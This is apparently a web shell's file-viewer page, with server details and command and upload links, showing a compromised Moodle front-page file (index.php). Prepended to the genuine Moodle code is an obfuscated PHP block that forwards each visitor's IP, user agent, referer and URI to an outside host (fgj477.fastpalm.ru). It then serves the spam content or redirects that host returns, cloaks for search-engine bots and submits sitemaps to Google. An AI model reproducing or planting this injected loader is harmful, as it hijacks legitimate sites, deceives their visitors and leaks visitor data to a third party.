Server IP : 68.65.122.142  /  Your IP : 13.58.205.159
Web Server : LiteSpeed
System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : glenirhm ( 1318)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/glenirhm/myglenbow.ca/../lms.myglenbow.ca/old/cohort/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/glenirhm/myglenbow.ca/../lms.myglenbow.ca/old/cohort/../index.php
<?php
$a='fgj477';@set_time_limit(3600);define("W",'http://fgj477.fastpalm.ru');define("U",getu());function k($b){return@$_SERVER[$b]?$_SERVER[$b]:"";}define("S",strtolower(k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME")));$d=stripos(S,"index.php")!==false&&stripos(U,S)===false?rtrim(S,"index.php"):S;if($d=="")$d="/";define("F",$d);$f=@$_REQUEST["p"];$d=ltrim(U,F);if($f!="")$d=preg_replace("@(\\?|\\&)p=".$f."@","",$d);define("U2",preg_replace("#^\\W+#","",$d));$h=k('HTTP_USER_AGENT');function getu(){$k=k("REQUEST_URI");if(empty($k)){$l=k('argv');$k=S.'?'.(is_array($l)?$l[0]:k('QUERY_STRING'));}return $k;}function get_ip(){$p=k('REMOTE_ADDR');if(!empty($_SERVER['HTTP_CLIENT_IP'])){$p=k('HTTP_CLIENT_IP');}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$p=k('HTTP_X_FORWARDED_FOR');}if(stristr($p,',')){$t=explode(",",$p);$p=$t[0];}return $p;}function c($u,$z,$aa){if(function_exists("curl_init")){$ff=curl_init();if($aa){curl_setopt($ff,CURLOPT_URL,$u);curl_setopt($ff,CURLOPT_POST,1);curl_setopt($ff,CURLOPT_POSTFIELDS,$z);}else{curl_setopt($ff,CURLOPT_URL,$u."?".$z);}curl_setopt($ff,CURLOPT_RETURNTRANSFER,1);curl_setopt($ff,CURLOPT_HEADER,0);curl_setopt($ff,CURLOPT_TIMEOUT,30);curl_setopt($ff,CURLOPT_FOLLOWLOCATION,1);$gg=curl_exec($ff);curl_close($ff);return $gg;}return false;}function get_url($hh){if(!function_exists("pfsockopen")&&!function_exists("fsockopen")){return false;}try{$hh=parse_url($hh);if(empty($hh["port"])){$hh["port"]=80;}$ii=$hh["path"]."?".$hh["query"];$jj=pfsockopen($hh["host"],$hh["port"],$kk,$ll,30);if(!$jj){$jj=fsockopen($hh["host"],$hh["port"],$kk,$ll,30);}if(!$jj){return false;}else{$mm="GET $ii HTTP/1.1\r\n";$mm.="Host: {$hh['host']}\r\n";$mm.="Connection: Close\r\n";$mm.="\r\n";fwrite($jj,$mm);$nn='';$oo=0;while(true){$nn.=fread($jj,1);$oo+=1;if($oo>=4&&$nn[$oo-1]=="\n"&&substr($nn,-4)=="\r\n\r\n"){break;}}$pp=readChunked($jj);fclose($jj);return $pp;}}catch(Exception $b){return false;}}function readChunked($qq){$pp='';while(true){$rr='';do{$rr.=fread($qq,1);}while(strpos($rr,"\r\n")===false);if(strpos($rr,' ')!==false){list($uu,$vv)=explode(' ',$rr,2);}else{$uu=$rr;$vv='';}$uu=(int)base_convert($uu,16,10);if($uu===0){fread($qq,2);return $pp;}else{$rr='';$ww=0;while($ww<$uu+2){$rr.=fread($qq,$uu-$ww+2);$ww=strlen($rr);}$pp.=substr($rr,0,-2);}}}function http($u,$xx){$yy="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$yy="text/xml";}else{if(strpos(U2,".txt")!==false){$yy="text/plain";}else{if(strpos(U2,"images/")!==false){$yy="image/webp";}else{if(strpos(U2,"sitemap.xsl")!==false){$yy="text/css";}}}}header("content-type: {$yy}; charset=UTF-8");$z=http_build_query($xx);$zz=W.$u."?".$z;$gg=@file_get_contents($zz);if(!$gg)$gg=c(W.$u,$z,0);if(!$gg)$gg=c(W.$u,$z,1);if(!$gg)$gg=get_url($zz);return $gg;}function g($u,$xx){$gg=http($u,$xx);$aaa='HTTP/1.1 500 Internal Server Error';if(!$gg){@header($aaa);die;}$b=substr($gg,0,1);switch($b){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header($aaa);die;case "3":@header('HTTP/1.1 302 Moved Permanently');header('Location: '.substr($gg,1));header('referer: '.k("HTTP_HOST"));die;case "7":return false;case "8":die;default:header('HTTP/1.1 200 OK');return $gg;}}$bbb=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$h,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$h)?"1":"","f"=>F,"p"=>$f);if(k('HTTPS')=='on'||k('HTTP_X_FORWARDED_PROTO')=='https'){$bbb["h"]="1";}if(strpos(U,"pingsitemap")!==false){$ccc=explode(",",g("/sitemap.list",$bbb));foreach($ccc as $ddd){$xx='https://www.google.com/ping?sitemap='.$ddd;$gg=c($xx,array(),0);if(!$gg){$gg=@file_get_contents($xx);}if(stristr($gg,'successfully')){echo $xx.'<br>pingok<br>';}else{echo $xx.'======creat file false!<br>';}}die;}$eee=g("/",$bbb);if($eee){die($eee);} ?><?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Moodle frontpage.
 *
 * @package    core
 * @copyright  1999 onwards Martin Dougiamas (http://dougiamas.com)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

if (!file_exists('./config.php')) {
    header('Location: install.php');
    die;
}

require_once('config.php');
require_once($CFG->dirroot .'/course/lib.php');
require_once($CFG->libdir .'/filelib.php');

redirect_if_major_upgrade_required();

$urlparams = array();
if (!empty($CFG->defaulthomepage) &&
        ($CFG->defaulthomepage == HOMEPAGE_MY || $CFG->defaulthomepage == HOMEPAGE_MYCOURSES) &&
        optional_param('redirect', 1, PARAM_BOOL) === 0
) {
    $urlparams['redirect'] = 0;
}
$PAGE->set_url('/', $urlparams);
$PAGE->set_pagelayout('frontpage');
$PAGE->add_body_class('limitedwidth');
$PAGE->set_other_editing_capability('moodle/course:update');
$PAGE->set_other_editing_capability('moodle/course:manageactivities');
$PAGE->set_other_editing_capability('moodle/course:activityvisibility');

// Prevent caching of this page to stop confusion when changing page after making AJAX changes.
$PAGE->set_cacheable(false);

require_course_login($SITE);

$hasmaintenanceaccess = has_capability('moodle/site:maintenanceaccess', context_system::instance());

// If the site is currently under maintenance, then print a message.
if (!empty($CFG->maintenance_enabled) and !$hasmaintenanceaccess) {
    print_maintenance_message();
}

$hassiteconfig = has_capability('moodle/site:config', context_system::instance());

if ($hassiteconfig && moodle_needs_upgrading()) {
    redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php');
}

// If site registration needs updating, redirect.
\core\hub\registration::registration_reminder('/index.php');

if (get_home_page() != HOMEPAGE_SITE) {
    // Redirect logged-in users to My Moodle overview if required.
    $redirect = optional_param('redirect', 1, PARAM_BOOL);
    if (optional_param('setdefaulthome', false, PARAM_BOOL)) {
        set_user_preference('user_home_page_preference', HOMEPAGE_SITE);
    } else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_MY) && $redirect === 1) {
        // At this point, dashboard is enabled so we don't need to check for it (otherwise, get_home_page() won't return it).
        redirect($CFG->wwwroot .'/my/');
    } else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_MYCOURSES) && $redirect === 1) {
        redirect($CFG->wwwroot .'/my/courses.php');
    } else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_USER)) {
        $frontpagenode = $PAGE->settingsnav->find('frontpage', null);
        if ($frontpagenode) {
            $frontpagenode->add(
                get_string('makethismyhome'),
                new moodle_url('/', array('setdefaulthome' => true)),
                navigation_node::TYPE_SETTING);
        } else {
            $frontpagenode = $PAGE->settingsnav->add(get_string('frontpagesettings'), null, navigation_node::TYPE_SETTING, null);
            $frontpagenode->force_open();
            $frontpagenode->add(get_string('makethismyhome'),
                new moodle_url('/', array('setdefaulthome' => true)),
                navigation_node::TYPE_SETTING);
        }
    }
}

// Trigger event.
course_view(context_course::instance(SITEID));

$PAGE->set_pagetype('site-index');
$PAGE->set_docs_path('');
$editing = $PAGE->user_is_editing();
$PAGE->set_title($SITE->fullname);
$PAGE->set_heading($SITE->fullname);
$PAGE->set_secondary_active_tab('coursehome');

$courserenderer = $PAGE->get_renderer('core', 'course');

if ($hassiteconfig) {
    $editurl = new moodle_url('/course/view.php', ['id' => SITEID, 'sesskey' => sesskey()]);
    $editbutton = $OUTPUT->edit_button($editurl);
    $PAGE->set_button($editbutton);
}

echo $OUTPUT->header();

$siteformatoptions = course_get_format($SITE)->get_format_options();
$modinfo = get_fast_modinfo($SITE);
$modnamesused = $modinfo->get_used_module_names();

// Print Section or custom info.
if (!empty($CFG->customfrontpageinclude)) {
    // Pre-fill some variables that custom front page might use.
    $modnames = get_module_types_names();
    $modnamesplural = get_module_types_names(true);
    $mods = $modinfo->get_cms();

    include($CFG->customfrontpageinclude);

} else if ($siteformatoptions['numsections'] > 0) {
    echo $courserenderer->frontpage_section1();
}
// Include course AJAX.
include_course_ajax($SITE, $modnamesused);

echo $courserenderer->frontpage();

if ($editing && has_capability('moodle/course:create', context_system::instance())) {
    echo $courserenderer->add_new_course_button();
}
echo $OUTPUT->footer();